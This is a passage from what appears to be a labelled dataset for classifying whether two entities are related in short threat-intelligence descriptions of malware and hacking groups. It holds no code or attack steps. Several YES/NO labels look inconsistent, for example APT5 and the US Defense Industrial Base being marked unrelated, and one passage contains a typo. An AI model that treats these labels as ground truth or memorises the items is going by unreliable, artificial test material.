Entity:\nAPT5\n### Target Entity: PACEMAKER\n### Text Passage:\nPACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPACEMAKER\n### Target Entity: US Defense Industrial Base\n### Text Passage:\nPACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT5\n### Target Entity: US Defense Industrial Base\n### Text Passage:\nPACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWoody RAT\n### Target Entity: Russian\n### Text Passage:\nWoody RAT is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPOWERSOURCE\n### Target Entity: PowerShell\n### Text Passage:\nPOWERPOWERSOURCE is a PowerShell backdoor.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGrimAgent\n### Target Entity: Accept-Language\n### Text Passage:\nGrimAgent has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGrimAgent\n### Target Entity: United Kingdom\n### Text Passage:\nGrimAgent has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGrimAgent\n### Target Entity: United States\n### Text Passage:\nGrimAgent has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGrimAgent\n### Target Entity: France\n### Text Passage:\nGrimAgent has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGrimAgent\n### Target Entity: Spain\n### Text Passage:\nGrimAgent has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN7\n### Target Entity: JSS Loader\n### Text Passage:\nJSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJSS Loader\n### Target Entity: .NET\n### Text Passage:\nJSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJSS Loader\n### Target Entity: C++\n### Text Passage:\nJSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGinp\n### Target Entity: Android\n### Text Passage:\nGinp is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from Anubis.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGinp\n### Target Entity: Spanish\n### Text Passage:\nGinp is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from Anubis.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGinp\n### Target Entity: Anubis\n### Text Passage:\nGinp is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from Anubis.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSpanish\n### Target Entity: Android\n### Text Passage:\nGinp is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from Anubis.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHenBox\n### Target Entity: Android\n### Text Passage:\nHenBox is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. HenBox has primarily been used to target Uyghurs, a minority Turkic ethnic group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHenBox\n### Target Entity: Xiaomi\n### Text Passage:\nHenBox is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. HenBox has primarily been used to target Uyghurs, a minority Turkic ethnic group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHenBox\n### Target Entity: MIUI\n### Text Passage:\nHenBox is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. HenBox has primarily been used to target Uyghurs, a minority Turkic ethnic group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPenquin\n### Target Entity: C2\n### Text Passage:\nPenquin can execute the command code do_upload to send files to C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCookieMiner\n### Target Entity: Koto\n### Text Passage:\nCookieMiner has loaded coinmining software onto systems to mine for Koto cryptocurrency.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: IcedID\n### Text Passage:\nThis actor acts as an initial access facilitator for ransomware threat actors. Proofpoint has observed its campaigns leveraging banking trojans have led to ransomware infections. Proofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Maze\n### Text Passage:\nThis actor acts as an initial access facilitator for ransomware threat actors. Proofpoint has observed its campaigns leveraging banking trojans have led to ransomware infections. Proofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Egregor\n### Text Passage:\nThis actor acts as an initial access facilitator for ransomware threat actors. Proofpoint has observed its campaigns leveraging banking trojans have led to ransomware infections. Proofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEgregor\n### Target Entity: IcedID\n### Text Passage:\nThis actor acts as an initial access facilitator for ransomware threat actors. Proofpoint has observed its campaigns leveraging banking trojans have led to ransomware infections. Proofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nS.O.V.A.\n### Target Entity: Android\n### Text Passage:\nS.O.V.A. is an Android banking trojan that was first identified in August 2021 and has subsequently been found in a variety of applications, including banking, cryptocurrency wallet/exchange, and shopping apps. S.O.V.A., which is Russian for \"owl\", contains features not commonly found in Android malware, such as session cookie theft.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrojan.Karagany\n### Target Entity: cmd.exe\n### Text Passage:\nTrojan.Karagany can perform reconnaissance commands on a victim machine via a cmd.exe process.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: Cyclops Blink\n### Text Passage:\nCyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCyclops Blink\n### Target Entity: Small/Home Office\n### Text Passage:\nCyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCyclops Blink\n### Target Entity: WatchGuard\n### Text Passage:\nCyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCyclops Blink\n### Target Entity: Asus\n### Text Passage:\nCyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmacOS.OSAMiner\n### Target Entity: Monero\n### Text Passage:\nmacOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmacOS.OSAMiner\n### Target Entity: AEVT\n### Text Passage:\nmacOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFRAMESTING\n### Target Entity: Python\n### Text Passage:\nFRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: FRAMESTING\n### Text Passage:\nFRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFRAMESTING\n### Target Entity: Ivanti Connect Secure\n### Text Passage:\nFRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPython\n### Target Entity: FRAMESTING\n### Text Passage:\nFRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShimRat\n### Target Entity: C2\n### Text Passage:\nShimRat communicated over HTTP and HTTPS with C2 servers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlixOnline\n### Target Entity: Android\n### Text Passage:\nFlixOnline is an Android malware, first detected in early 2021, believed to target users of WhatsApp. FlixOnline primarily spreads via automatic replies to a device\u2019s incoming WhatsApp messages.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlixOnline\n### Target Entity: WhatsApp\n### Text Passage:\nFlixOnline is an Android malware, first detected in early 2021, believed to target users of WhatsApp. FlixOnline primarily spreads via automatic replies to a device\u2019s incoming WhatsApp messages.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWhatsApp\n### Target Entity: FlixOnline\n### Text Passage:\nFlixOnline is an Android malware, first detected in early 2021, believed to target users of WhatsApp. FlixOnline primarily spreads via automatic replies to a device\u2019s incoming WhatsApp messages.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShimRat\n### Target Entity: China\n### Text Passage:\nShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMofang\n### Target Entity: ShimRat\n### Text Passage:\nShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMofang\n### Target Entity: China\n### Text Passage:\nShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChina\n### Target Entity: Mofang\n### Text Passage:\nShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlack Basta\n### Target Entity: C++\n### Text Passage:\nBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlack Basta\n### Target Entity: Windows\n### Text Passage:\nBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlack Basta\n### Target Entity: VMWare ESXi\n### Text Passage:\nBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlack Basta\n### Target Entity: U.S.\n### Text Passage:\nBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVMWare ESXi\n### Target Entity: C++\n### Text Passage:\nBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWinnti\n### Target Entity: Windows\n### Text Passage:\nWinnti for Windows is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWinnti Group\n### Target Entity: Winnti\n### Text Passage:\nWinnti for Windows is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAxiom\n### Target Entity: Winnti\n### Text Passage:\nWinnti for Windows is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSILENTTRINITY\n### Target Entity: Python\n### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSILENTTRINITY\n### Target Entity: Powershell\n### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSILENTTRINITY\n### Target Entity: C\n### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer 